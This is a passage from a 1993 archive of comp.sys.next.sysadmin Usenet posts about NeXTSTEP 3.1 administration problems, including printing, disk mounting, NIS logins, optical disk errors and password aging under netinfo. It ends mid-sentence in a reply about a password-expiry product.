02159 NeXTMAIL accepted +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ James David Meacham, 3rd Andover Newton Theological School e-mail:jmeacham@ants.edu Newton Centre, MA 02159 NeXTMAIL accepted
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: A request from OS 3.1 (cube) people Date: 18 Jun 1993 11:31:12 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vs920$gvn@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu If you have 3.1, could you please email me the output of these: niutil -read . /printers/Local_Printer nidump printcap . Thanks. Take care...Paul P.S. I thank you now and will (probably) not do so when I get your stuff because most likely I'll get dozens of responses. I need only one response BUT I need that badly! Thanks!!! Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: Re: Is there cc in 3.1 ? Date: 18 Jun 1993 11:34:19 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vs97r$h09@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I thank the many people who told me that cc will come in the 3.1 developer package instead of the user one, and, thus, I did order it yesterday for 99 bucks + shipping. According to the order taker guy, it will come in 2-3 weeks. Take care...Paul P.S. I will no longer respond to all you kind people writing me on this issue. Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@ops.mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 with Apple CD 300 - a WARNING!!! Date: 18 Jun 1993 12:01:00 GMT Organization: Department of Mathematics, The Ohio State University Message-ID: <1vsaps$hg2@mathserv.mps.ohio-state.edu> References: <CEDMAN.93Jun17094840@capitalist.princeton.edu> <1993Jun17.180743.3469@news.media.mit.edu> In article <1993Jun17.180743.3469@news.media.mit.edu> lacsap@plethora.media.mit.edu (Pascal Chesnais) azt mondja: :> Even though it appears that Apple CD 300 works with the NeXT cube :> and it may partially do so, in fact, it is not 100% :> compatible. They even look identical except that the NeXT one :> doesn't have the green light. Be vary careful! Any comments? :> :I used the Apple 300 on three different cubes without any :problems due to the CDrom itself. What we have had :trouble with in the past are the HP 1 gig drives... This is interesting. I am the original poster AND I ave a 1 G HP drive (which works flawlessly unless this time it was the culprit. Who knows...)
Newsgroups: comp.sys.next.sysadmin From: uunet!lkba!lkb (Larry Blische) Subject: Re: DAT DRIVE - Intel/NeXT - Recommendation/prices Message-ID: <1993Jun18.120809.10518@lkba.uucp> Sender: lkb@lkba.uucp (Larry Blische) Organization: LKB Associates, Inc. References: <1993Jun17.140620.25634@linus.mitre.org> Date: Fri, 18 Jun 1993 12:08:09 GMT In article <1993Jun17.140620.25634@linus.mitre.org> jblue@ocotillo.mitre.org (Jason D. Blue) writes: > > If you can provide an answer TODAY to the following I would GREATLY > appreciate it: I am interested in getting a DAT drive for backups for out > network of NeXTSTEP machines. Looking for recommendations/prices for one > that will work on both NEXTSTEP plantforms. ^^^^^^^^^^ So, that explains that moss growing on the side of this monitor! I know we all say that NEXTSTEP grows on you... :-) -- Larry Blische lkba!lkb@uunet.UU.NET LKB Associates, Inc. NeXTmail Welcome! 3118 Dunglow Road 410 285 2262 Dundalk, Maryland 21222-5304 USA
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: Hard Disk Spin Down Problem Date: 18 Jun 1993 09:14:36 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1vsf3sINNa3b@jhunix.hcf.jhu.edu> Hello, I have a strange problem with my NSTC. About every other day, in the midst of work, the internal hd spins down and stops. Of course all apps hang, and I cannot reboot until I just power down (not a very clean shutdown!). When I reboot, everything's fine until the next occasion. I have an NSTC with 32mb ram, small 250 internal. It's brand new. I assume this is a software problem. No data has been corrupted. The disk just decides to spin down sometimes. I can hear the spinning stop. Thanks for any suggestions. Robert de Lucca Johns Hopkins University email robinc@jhunix.hcf.jhu.edu Nextmail rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin From: moetakef Subject: Problem with printing postscript files Message-ID: <1993Jun18.081127.2736@news.uta.edu> Sender: news@news.uta.edu (USENET News System) Organization: University of Texas at Arlington Date: Fri, 18 Jun 1993 08:11:27 GMT When submitting PostScript files from our NeXT machine to a PostScript printer on a remotehost, we get the printout in ascii characters. However, the PS files sent directly from the machine hosting the printer, which is Apollo DN 5500, come out alright. Below is the NeXT's printcap file which was loaded to the netinfo via "niload" command: LaserWriter|ap:\ :lp=:rm=me:rp=apple:sd=/usr/spool/NeXT/ap:tr=^D:\ :lf=/usr/adm/lw-log:af=/usr/adm/lw.acct:\ :br#9600:rw:fc#0000374:fs#0000003:xc#0:xs#0040040:mx#0:sf:sb:\ :if=/usr/lib/transcript/psif:of=/usr/lib/transcript/psof:\ :gf=/usr/lib/transcript/psof:nf=/usr/lib/transcript/psnf:\ :tf=/usr/lib/transcript/psnf:vf=/usr/lib/transcript/pstf:\ :gf=/usr/lib/transcript/pscf:df=/usr/lib/transcript/psgf:\ :ty=LaserWrite:\ If there is any mistake or lack of filtering switches in this printcap file that causes this problem, I'd appreciate any pointers. M. Moetakef moetakef@mecad.uta.edu
From: pkron@corona.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: Autofetching mail for pseudo-users Message-ID: <104.UUL1.3#16216@corona.com> Date: Fri, 18 Jun 93 14:32:35 PDT Organization: Corona Design, Inc., Seattle, WA I like to create pseudo-users to receive mail from mailing lists. This sorts the mail into various mailboxes automatically. The only problem is I have to log in to each user periodically to force Mail.app to fetch the mail from /usr/spool/mail, which is tedious. Can anyone give me a shell command to Mail.fetch (the service task that does this job) that I could run from crontab? Running the app gives a usage spec, but I am not sure what all the parameters mean. Thanks --------------- Peter Kron P.O. Box 51022 Corona Design, Inc. Seattle, WA 98115-1022 Peter_Kron@corona.com
From: cedman@princeton.edu (Carl Edman) Newsgroups: comp.sys.next.sysadmin Subject: Re: Autofetching mail for pseudo-users Message-ID: <CEDMAN.93Jun18120834@capitalist.princeton.edu> Date: 18 Jun 93 16:08:33 GMT References: <104.UUL1.3#16216@corona.com> Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University In-Reply-To: pkron@corona.com's message of Fri, 18 Jun 93 14:32:35 PDT To: pkron@corona.com (Peter Kron) Originator: news@nimaster In article <104.UUL1.3#16216@corona.com> pkron@corona.com (Peter Kron) writes: I like to create pseudo-users to receive mail from mailing lists. This sorts the mail into various mailboxes automatically. The only problem is I have to log in to each user periodically to force Mail.app to fetch the mail from /usr/spool/mail, which is tedious. Can anyone give me a shell command to Mail.fetch (the service task that does this job) that I could run from crontab? Running the app gives a usage spec, but I am not sure what all the parameters mean. Not quite what you asked for, but quite possibly a better solution for your problem is to use procmail in conjunction with mailapp utilities freely available from most major NeXT ftp sites like nova.cc.purdue.edu and cs.orst.edu. Carl Edman
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: Password aging Message-ID: <132072@netnews.upenn.edu> Date: 18 Jun 93 17:18:12 GMT Sender: news@netnews.upenn.edu Is there a method for aging passwords in netinfo? -dave
Newsgroups: comp.sys.next.sysadmin From: francisr@indiana.edu (Rob Francis) Subject: Re: Password aging Message-ID: <C8u1rK.1EA@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <132072@netnews.upenn.edu> Date: Fri, 18 Jun 1993 19:50:08 GMT David Anstine writes > Is there a method for aging passwords in netinfo? > Afraid not. Hopefully, when/if they support aging, they support shadow passwords as well. -rob francisr@indiana.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Subject: optical disk with bad block Message-ID: <1993Jun18.194732.7214@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Fri, 18 Jun 93 19:47:32 GMT Where can I find docs to help me fix a bad block on my optical? I have tried fsck, and have checked the online docs + the man pages. In brief, the diagnostic is "bitmap bad but no alternate found!". Here's a history: UPON INSERTING OPTICAL INTO MY NeXT, THE WORKSPACE SAID THE OPTICAL WAS DAMAGED, SO I OKAY'D "REPAIR"... WHICH FAILED. CONSOLE GAVE THE FOLLOWING WARNINGS od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block 180784 (15448:0:0) /dev/rod0a: CANNOT READ: BLK 178720 /dev/rod0a: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY. od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block 180784 (15448:0:0) od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block 180784 (15448:0:0) od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block 180784 (15448:0:0) od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block 180784 (15448:0:0) sg0 (3,1): ERROR op:0x12 sd_state:4 scsi status:0x2 - ----------------------------------------------- SO I RAN FSCK... otter:17# /usr/etc/fsck /dev/rod0a ** /dev/rod0a ** Last Mounted on /SHAarchive1 ** Phase 1 - Check Blocks and Sizes CANNOT READ: BLK 178720 CONTINUE? y THE FOLLOWING SECTORS COULD NOT BE READ: 178720, ** Phase 2 - Check Pathnames CANNOT READ: BLK 178720 CONTINUE? y THE FOLLOWING SECTORS COULD NOT BE READ: 178720, ** Phase 3 - Check Connectivity ** Phase 4 - Check Reference Counts ** Phase 5 - Check Cyl groups 9571 files, 190679 used, 42387 free (1395 frags, 5124 blocks, 0.6% fragmentation) File system not may not be clean! Run fsck again to clean. otter:18# /usr/etc/mount /dev/rod0a /SHAarchive1 - ----------------------------------------------- THE DISK STILL WOULD NOT MOUNT UPON INSERTION; WORKSPACE ASKED TO REPAIR IT. HOW CAN I MANUALLY MOUNT THE OD? (RERUNNING FSCK DIDN'T CLEAN THE DISK.) mount: /dev/rod0a on /SHAarchive1: Block device required mount: giving up on: /SHAarchive1 - ----------------------------------------------- I TRIED TO GET SOME INFO. disk> label label information: print, write? pr current label information on disk: disk label version #3 disk label: SHAarchive1 disk name: omd-1 disk type: removable_rw_optical ncyls 1029 ntrack 15 nsect 16 rpm 3000 sector_size 1024 front_porch 256 back_porch 256 ngroups 154 ag_size 1600 ag_alts 16 ag_off 784 boot blocks: #1 at 80 #2 at 168 bootfile: odmach host name: localhost root partition: a part base size bsize fsize cpg density minfree newfs optim automount type a 0 243936 8192 1024 3 4096 5% yes time yes 4.3BSD - ----------------------------------------------- Sha Xin Wei Stanford University
Newsgroups: comp.sys.next.sysadmin From: craighil@sfc.sony.com (Nancy Craighill) Subject: Help! Mount Entry for Local HD Not Working Message-ID: <1993Jun18.211500.5660@sfc.sony.com> Organization: Sony Advanced Video Technology Center Date: Fri, 18 Jun 1993 21:15:00 GMT I am trying to setup a NeXT machine as a file server that has a external HD. I want to export the HD to my clients, but can't get the darn thing to mount the HD at boot. I followed the "Making a Mount Entry for a Hard Disk" on pg 185 of the new NeXTSTEP Network and System Admin Manual three times with no success. Is there a bug in mount? My /etc/fstab file looks like this: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /renoir 4.3 rw,noquota,noauto 0 2 It looks to me like this line in the rc file is failing: # Mount local filesystems (according to /etc/fstab). mount -vat 4.3 >/dev/console 2> &1 No matter what I put in the /etc/fstab file the disk is not mounted at boot. It will only mount when someone logs in, which I don't want. Is this a known problem? Does anyone have any ideas? Thanks in advance. Nancy -- Nancy Craighill w(408)944-4994 AVTC, Sony Corporation of America fax(408)954-1027 685 River Oaks Parkway, M.S. 35 email: craighill@sfc.sony.com San Jose, CA 95134-1907 USA
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: sxuwan@fnma.com (William P. Nixon) Subject: NIS Password Map Problems with 3.1 Message-ID: <1993Jun18.221218.591@almserv.uucp> Followup-To: comp.sys.next.sysadmin Sender: usenet@almserv.uucp Organization: FannieMae, Washington, DC Date: Fri, 18 Jun 1993 22:12:18 GMT We are having problems using NIS with NeXTSTEP 3.1. We create a user on our NIS server and make the maps. We go to the NeXT machine to login as this new user and fail. If I login as root and su to the new user, everything is fine, even with "su -". I can ypcat and ypmatch the passwd file and everything looks good. If I su to the new user not as root so I am forced to eneter the password, I get "login failed.". It looks as if the NeXT machine is not matching the encrypted password correctly. I wrote a one line c program which uses the crypt() function to verify that it works and the encrypted string matches the passwd map. I even tried from the console window in text mode just to see errors and it just fails. Any ideas? Background: We have a RS/6000 running AIX as our NIS master server. We have one 486 running NeXTSTEP 3.1 (Gold) and one NeXTstation Turbo running NeXTSTEP 3.1 (PR1). The two "NeXT" machines are bound to the NIS domain. -- bnixon@fnma.com or uunet!fnma.com!bnixon (NeXT Mail Okay) Bill Nixon, Advanced Technology FannieMae, 3900 Wisconsin Ave NW, Washington, DC 22016 (202) 752-5468
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: jspears@weston.com (Wes Spears) Subject: Secure UUCP and SLIP/PPP Connections Message-ID: <1993Jun18.180600.2241@weston.com> Sender: jspears@weston.com (Wes Spears) Date: Fri, 18 Jun 1993 18:06:00 GMT I would like to get information from anyone who has a UUCP or SLIP/PPP connection, and who was extremely concerned about security. What I would ideally like are sources of information that you have found helpful, and any pearls of wisdom that you could share. Thanks -- Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) The Weston Group 8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Help! Mount Entry for Local HD Not Working Message-ID: <C8uEEG.MDn@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <1993Jun18.211500.5660@sfc.sony.com> Date: Sat, 19 Jun 1993 00:23:03 GMT In article <1993Jun18.211500.5660@sfc.sony.com> craighil@sfc.sony.com (Nancy Craighill) writes: >Is there a bug in mount? Yep. >My /etc/fstab file looks like this: > >/dev/sd0a / 4.3 rw,noquota,noauto 0 1 >/dev/sd1a /renoir 4.3 rw,noquota,noauto 0 2 Take thhe 'noauto' out of your entry. Should work just fine after that. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
From: ramesh@mishna.esys.cwru.edu (Ramesh Doddamani) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Please Help! Network not working Date: 19 Jun 1993 03:06:58 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1vtvsi$6o0@usenet.INS.CWRU.Edu> Hello I am trying to connect a 486 machine(with SMC card) running NEXTSTEP to a NEXTStation. I have set up the 486 as the Netinfo server exactly following the procedure given in the Network and System Administration Manual. Also the NeXT is set up as a client machine. The problem is that the network is not being recognised. Neither the NeXT nor the 486 can sense each other. I have setup the ethernet card as specified by NeXT and it is recognised during the bootup process. I am using a coaxial(thinwire) cable to connect the machines. I am checking on the possibility that the cable could be bad(which I think is unlikely). This is an emergency and I would very much appreciate if somebody could help me. Thanks is advance. Ramesh -- ******************************************************************** Ramesh Dodamani <<REPLY TO rxd20@po.cwru.edu>> Case Western Reserve University Cleveland OHIO ********************************************************************
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: Re: etherfind for NeXT? Date: 19 Jun 1993 03:25:19 GMT Organization: Michigan State University Message-ID: <1vu0uv$mm7@msuinfo.cl.msu.edu> References: <scott.739795546@shrug> I remember a while back someone was working on makeing a NeXT app out of etherfind. It involved doing some kernel work. Anyone remember... or know of the status. Etherfind is such a fundamental (and handy) tool it is a shame it isn't part of 3.0 (yeah, that would give all root's access to a dangerous too, but... ). -=Chris=- Scott A. McIntyre (S.A.McIntyre@durham.ac.uk) wrote: : I'm interested in doing some serious network adminstration and : nosing about, and know that the sun etherfind thing does pretty : much what I want, but I've never seen it in soruce form.. : Are there any tools for the NeXT that allow serious investigation : of ethernet packets? Not just counting, but displaying, getting : ethernet addresses from IP and so on? : Any help appreciated, : Scott : -- : EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) : SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE : "Did you know that the computer invented itself?" - SNL -- ==== ==== = Christopher C. Penney E-mail: penney@convex.msu.edu = = Computer Consultant Office: 110 Computer Center = = ACM Vice Chairman Michigan State University = = CASE Center Advisory Council Member East Lansing, Michingan = ==== ====
Newsgroups: comp.sys.next.sysadmin From: ben@frogware.com (Ben Bernhard) Subject: Nice fast modem is slow, Why? Message-ID: <1993Jun17.010021.270@frogware.com> Sender: ben@frogware.com Organization: frogware Date: Thu, 17 Jun 1993 01:00:21 GMT I know that this has been covered before, but I didn't pay attention. My new 14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why?? How (in some detail if possible , I'm not a unix guru) do I get up to full speed?? thanks for any help, ben -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ben Bernhard frogware ben@frogware.com
From: peter@rhea.teorfys.uu.se (Peter Trygg) Newsgroups: comp.sys.next.sysadmin Subject: Netinfo error Date: 19 Jun 1993 14:51:14 GMT Organization: Uppsala University Message-ID: <1vv952$iho@corax.udac.uu.se> Keywords: netinfo problems When opening a subdomain from the server I get the error message: Domain selected failed to open Any ideas? Peter Peter Trygg rhea@peter@teorfys.uu.se Dept. of Th. Physics Uppsala University
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Nice fast modem is slow, Why? Message-ID: <C8vwJD.EAH@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <1993Jun17.010021.270@frogware.com> Date: Sat, 19 Jun 1993 19:52:25 GMT In article <1993Jun17.010021.270@frogware.com> ben@frogware.com (Ben Bernhard) writes: >I know that this has been covered before, but I didn't pay attention. My new >14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why?? >How (in some detail if possible , I'm not a unix guru) do I get up to full >speed?? > Presumably, the modems your connecting to aren't capable of 14.4 (In your case Ben, I *know* that's the case (-: ). Your modem is probably negotiating with the other modem deciding what to agree on as a transfer rate and coming up with a low rate. You might try the following as an init string for your modem: AT N0 \N2 S37=9 -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) Subject: booting from CD-ROM, or HELP Message-ID: <C8vyCE.8Kx@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Sat, 19 Jun 1993 20:31:26 GMT I've got a NeXT down with a / filesystem full, panic message. I can't boot in single user mode. Is there a way? Can I boot from the CD-ROM instead? A b od(2) -s doesn't work ("no optical disk" message) John Price-Wilkin jpw@virginia.edu
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mac disks not recognized under 3.0 Message-ID: <1244@rtbrain.rightbrain.com> Date: 19 Jun 93 21:05:18 GMT References: <1993Jun17.033625.872@imani.cam.org> Sender: glenn@rightbrain.com Nicolas Dore writes > [Disk won't appear as Mac disk when inserted] Dollars to donuts it's formatted as an 800K disk, which isn't recognized by NEXTSTEP. It's got to be a HD disk formatted for 1.4Mb. -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) Subject: why such huge expansion of vm? Message-ID: <C8wH1H.AJ9@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Sun, 20 Jun 1993 03:15:17 GMT I left for part of the week and returned to find all of the spare 180M of my internal drive filled. Why? The vm had grown to immense proportions. The machine is used as a gopher server, and in this regard it hasn't ever had this sort of problem before. It's also used to spool usenet mail off a list and make gopherized material from it, and this represents a ver y large amount of material. But the machine has been doing this for two months, every hour on the hour, with no problem. The only other variable is that I just added a new (1G) external drive, but again this is something I've done before without any problems. Can anyone tell me why this happened and what I can do to prevent it in the future? John Price-Wilkin jpw@virginia.edu
From: gwh@cs.mcgill.ca (Gene W HOMICKI) Newsgroups: comp.sys.next.sysadmin Subject: Re: Nextdimension memory (how much ya got) Date: 20 Jun 1993 05:35:05 GMT Organization: SOCS, McGill University, Montreal, Canada Message-ID: <200su9$lon@homer.cs.mcgill.ca> References: <1993Jun16.154435.23566@serval.net.wsu.edu> <1993Jun16.100632.7116@resonex.com> Keywords: nextdimension memory limit At bootup time, a message should be displayed telling you how much memory is installed on your dimension board. If you leave those silly bootup tiffs up and don't watch the messages as your machine boots up, just check out the /usr/adm/messages file. --Gene gwh@cs.mcgill.ca PS 'grep video /usr/adm/messages' should do the trick.
From: nico@imani.cam.org (Nicolas Dore) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mac disks not recognized under 3.0 Message-ID: <1993Jun20.071838.651@imani.cam.org> Date: 20 Jun 93 07:18:38 GMT References: <1244@rtbrain.rightbrain.com> Sender: nico@imani.cam.org In article <1244@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) writes: > Nicolas Dore writes > > > [Disk won't appear as Mac disk when inserted] > > Dollars to donuts it's formatted as an 800K disk, which isn't recognized > by NEXTSTEP. It's got to be a HD disk formatted for 1.4Mb. Well, _DONUTS_! What do think I am? A DOS user?!? 8^)> I'm from the Mac world, so them DD/HD problems I've had before. As I said in my post, putting NeXT or DOS disks in did not change the fact that the "Macintosh" format button was unavailable. It just wasn't there. Now, for the answer. If this happens to you, Check under /etc/filesystems. You should see, amongst other things something called "mac.fs" (in my case it had been changed to "mac.fs.SAVED", to let Executor's "HFS_XFer.fs" do its thing, therefore ***king up the WS. Removing ".SAVED" cured it all. Still can't read 800k Mac disks, thought... Duuuh 8^)> ). Otherwise, Mac disks are not recognized. Now, wasn't that simple? (after Magnus Nordborg wrote me, it was! Thanks a million times guy.) Thanksalso to all those who tried to help. Nice to know you're out there. 8^)> Ciao > -- > Glenn Reid NeXTmail: glenn@rightbrain.com > RightBrain Software 415-326-2974 (NeXTfax 326-2977) > Palo Alto, California Electronic Frontier Foundation, member #054 -- Nicolas Dore nico@imani.cam.org - - - - - - - - - CAREFUL!!! FRENCHIE ZONE!!! - - - - - - - - - - - - >"Si la classe ouvriere ne nous satisfait plus, nous la destituerons< > et en elirons une autre" B. Brecht (ne parlant pas d'informatique)<
From: lemson@ux1.cso.uiuc.edu (David Lemson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Password aging Date: 20 Jun 1993 08:56:05 -0500 Organization: University of Illinois at Urbana Message-ID: <201qa3$pk4@ux1.cso.uiuc.edu> References: <132072@netnews.upenn.edu> <C8u1rK.1EA@usenet.ucs.indiana.edu> francisr@indiana.edu (Rob Francis) writes: >David Anstine writes >> Is there a method for aging passwords in netinfo? >> >Afraid not. Hopefully, when/if they support aging, they support shadow >passwords as well. Remember, this is UNIX. There is a way to do everything. It's just that it's not built-in to the system in this case. One way to do it is to replace /bin/passwd and the Preferences Password changing module with something that encrypts using a seed based upon the user's name combined with the date. Then, write a script that periodically scans though the password information stored in netinfo and checks seeds vs. the current date. It can turn off passwords, or mail to supervisors, or whatever you want. -- David Lemson (217) 244-1205 University of Illinois Computing & Comm Services Office System Administrator Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin Subject: Re: Password aging Message-ID: <1993Jun20.142431.1379@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Sun, 20 Jun 1993 14:24:31 GMT Sender: news@urz.unibas.ch (USENET News System) References: <C8u1rK.1EA@usenet.ucs.indiana.edu> Organization: Institut fuer Informatik In article <C8u1rK.1EA@usenet.ucs.indiana.edu> writes: > David Anstine writes > > Is there a method for aging passwords in netinfo? > > > > Afraid not. Hopefully, when/if they support aging, they support shadow > passwords as well. Can only mean you are not running netinfo. With netinfo, all information is hidden anyway and you can, if you want to, restrict nidump to root only. The /etc/passwd file is meanginless with netinfo running. -Robert -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
From: matthews@is-next.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: Password aging Message-ID: <202113$hen@umd5.umd.edu> Date: 20 Jun 93 15:50:59 GMT References: <C8u1rK.1EA@usenet.ucs.indiana.edu> <1993Jun20.142431.1379@urz.unibas.ch> Organization: University Of Maryland, College Park, MD In article <1993Jun20.142431.1379@urz.unibas.ch> frank@ifi.unibas.ch writes: >Can only mean you are not running netinfo. With netinfo, all information is >hidden anyway and you can, if you want to, restrict nidump to root only. You'd also have to restrict niutil. For that matter, you'd have to restrict the getpwent() system call, which, well, you can't. And, if you don't have trusted_networks set up, anyone who can get to your machine by a network can suck your password file down. Without something like a _readers property, NeXTs can not have shadow passwords. >-Robert ------ Mike Matthews, matthews@ectds.com (NeXTmail accepted) ------ "And what will you do when you grow up to be as big as me?" asked the father of his little son. "Diet."
Newsgroups: comp.sys.next.sysadmin From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Subject: Re: 3.1 user upgrade Message-ID: <scott.740586911@shrug> Organization: University of Newcastle upon Tyne, UK, NE1 7RU Date: Sun, 20 Jun 1993 14:35:11 GMT References: <1993Jun17.225031.212@azetsys.uucp> I'm dying to know: Has anyone on Black with 3.1 had the proliferation of <mach-tasks> or are they really gone? Thanks. Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE "Did you know that the computer invented itself?" - SNL
Newsgroups: comp.sys.next.sysadmin From: stefan@flens.toppoint.de (Stefan Preuss) Subject: shutdown script? Organization: Sydlink e.V. Date: Sun, 20 Jun 1993 14:03:12 GMT Message-ID: <1993Jun20.140312.5870@flens.toppoint.de> Hi, where is a good place for my local shutdown script (/etc/shutdown seems to be an executable)? It should be executed just before my NeXT is going to powerdown or reboot. stefan -- Stefan Preuss stefan@flens.toppoint.de
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: in OS 3.1 those annoying <mach-task>'s are reduced (?) (I think: yes) Date: 20 Jun 1993 18:54:35 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <202bpb$k15@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Am I right in observing that in OS 3.1 those annoying <mach-task>'s are reduced? Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: isca@icaen.uiowa.edu (Iowa Student Computer Assoc) Subject: rlogind is broken, anyone have a fixed version? Sender: news@news.uiowa.edu (News) Message-ID: <1993Jun20.220650.8506@news.uiowa.edu> Date: Sun, 20 Jun 1993 22:06:50 GMT Organization: University of Iowa, Iowa City, IA, USA For those of you lucky enough to have either Macs running A/UX or HP/Apollos running Domain/OS, you've probably found the problem I have... Both rlogind and telnetd seem to be broken - when connecting from either of the above systems to a NeXT, the connection drops characters. It appears that the NeXT is trying to do option negotiation that is not understood. The fix is to get net sources and recompile. I fixed telnetd with this, but I've not found a good rlogind that makes successfully. Before I go to the work of doing this, has anyone else fixed this? (BTW this bug has been in every version I've used - 2.1 to 3.1) Thanks! - dave -- ------------------------------------------------------------------------------ | David Lacey, M.D. |"But soon, soon, soon... the world will| | Resident, Radiology, Univ of Iowa |be a better place, with meadows and | | President, Iowa Student Comptr Assn|bunnies and fiber optics in every home"| | David-Lacey@uiowa.edu (NeXTmail OK)| - Tom Dowdy, Apple Computer | ------------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: Password aging Message-ID: <1993Jun20.152907.23020@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <201qa3$pk4@ux1.cso.uiuc.edu> Date: Sun, 20 Jun 1993 15:29:07 GMT In article <201qa3$pk4@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: > francisr@indiana.edu (Rob Francis) writes: > > >David Anstine writes > >> Is there a method for aging passwords in netinfo? > >> > > >Afraid not. Hopefully, when/if they support aging, they support shadow > >passwords as well. > Remember, this is UNIX. There is a way to do everything. It's just > that it's not built-in to the system in this case. > One way to do it is to replace /bin/passwd and the Preferences > Password changing module with something that encrypts using a seed > based upon the user's name combined with the date. Then, write a > script that periodically scans though the password information > stored in netinfo and checks seeds vs. the current date. It can > turn off passwords, or mail to supervisors, or whatever you want. And we have a product, PassKey which does exactly this. Replacement password preferences module and a loginhook program that checks things when users log in. Passwords can be set to expire every x days, you can 